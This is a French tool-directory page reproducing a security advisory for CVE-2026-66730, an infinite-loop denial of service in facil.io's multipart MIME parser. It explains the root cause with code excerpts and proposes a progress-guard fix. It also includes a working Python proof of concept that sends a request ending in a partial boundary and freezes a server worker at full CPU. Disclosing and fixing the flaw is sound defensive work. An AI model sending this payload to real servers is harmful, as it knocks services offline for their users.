Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — Avis de sécurité : Déni de service par boucle infinie dans l'analyseur MIME de facil.io (limite partielle) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
Analyse des VulnérabilitésAnalyse de CodeSécurité WebArticles et RechercheApprentissage et Éducation
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

Avis de sécurité : Déni de service par boucle infinie dans l'analyseur MIME de facil.io (limite partielle)

Voir le dépôt
3il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Avis de sécurité : Déni de service par boucle infinie dans l'analyseur MIME de facil.io (limite partielle)

ID CVE attribué : CVE-2026-66730

Produit : facil.io
Versions affectées : facil.io >= 0.6.0 (toutes les 0.6.x, toutes les 0.7.x, master) ; introduit en même temps que l'analyseur MIME dans 0.6.0
Composant : lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE : CWE-835 (Loop with Unreachable Exit Condition), CWE-400 (Uncontrolled Resource Consumption)
CVSS v3.1 : 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Chercheur : Theodosis Paidakis


Résumé

Une requête multipart/form-data dont le corps se termine par une limite de clôture partielle (par ex., --B- au lieu de --B--\r\n) fait tourner http_parse_body() en boucle infinie à 100 % de CPU. L'analyseur MIME renvoie 0 octet consommé lorsqu'il se bloque sur une limite partielle, mais la boucle appelante ne vérifie que . Aucun des deux indicateurs n'est défini, elle réinvoque donc l'analyseur sur les mêmes données indéfiniment. Le serveur ne plante pas, donc aucun worker n'est relancé. Une seule requête POST non authentifiée gèle définitivement un worker.

!done && !error

Ceci est sans rapport avec CVE-2026-41146, qui est une boucle infinie dans l'analyseur JSON (fio_json_parser.h). Ce bogue se trouve dans l'analyseur MIME/multipart.


Cause racine

Partie 1 : Absence de garde de progression dans l'appelant

lib/facil/http/http.c, lignes 1963-1967

root@kitploit:~
// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

Si http_mime_parse renvoie 0 et ne définit ni done ni error, p.pos reste fixe, fiobj_data_pread renvoie le même tampon, et la boucle n'a aucune sortie.

Partie 2 : Lorsque http_mime_parse renvoie 0

lib/facil/http/parsers/http_mime_parser.h, lignes 314-329 et la branche consume_partial

L'analyseur parcourt la section des valeurs à la recherche d'une limite complète. Lorsque le corps se termine par \n--B- (quatre octets de moins qu'une limite de clôture complète \n--B--\r\n), la recherche trouve \n suivi de ce qui ressemble au début d'une limite mais ne peut pas confirmer qu'elle est complète :

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

À l'appel suivant, in_obj est déjà défini. La branche consume_partial trouve le même \n avant --B-, puis recule le pointeur de retour avant toute donnée non consommée :

root@kitploit:~
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos se retrouve à ou avant son point de départ. La fonction renvoie 0. De retour dans l'appelant, cons = 0, p.pos ne bouge pas, et le cycle se répète.


Preuve de concept

Démarrez le serveur, puis exécutez :

root@kitploit:~
# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

Observé : processus serveur entre 99,7 et 100 % de CPU. kill -9 requis pour récupérer.


Impact

Un worker figé ne se termine jamais, donc aucun redémarrage ne se produit. Avec suffisamment de requêtes (égal au nombre de workers), le serveur cesse définitivement de servir tous les clients jusqu'à un redémarrage manuel. Aucune authentification, aucun en-tête spécial et aucun état préalable ne sont requis.


Correctif

Ajoutez une garde de progression à la boucle dans http_parse_body :

lib/facil/http/http.c, lignes 1963-1967 -- correctif proposé

root@kitploit:~
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
Télécharger l’outil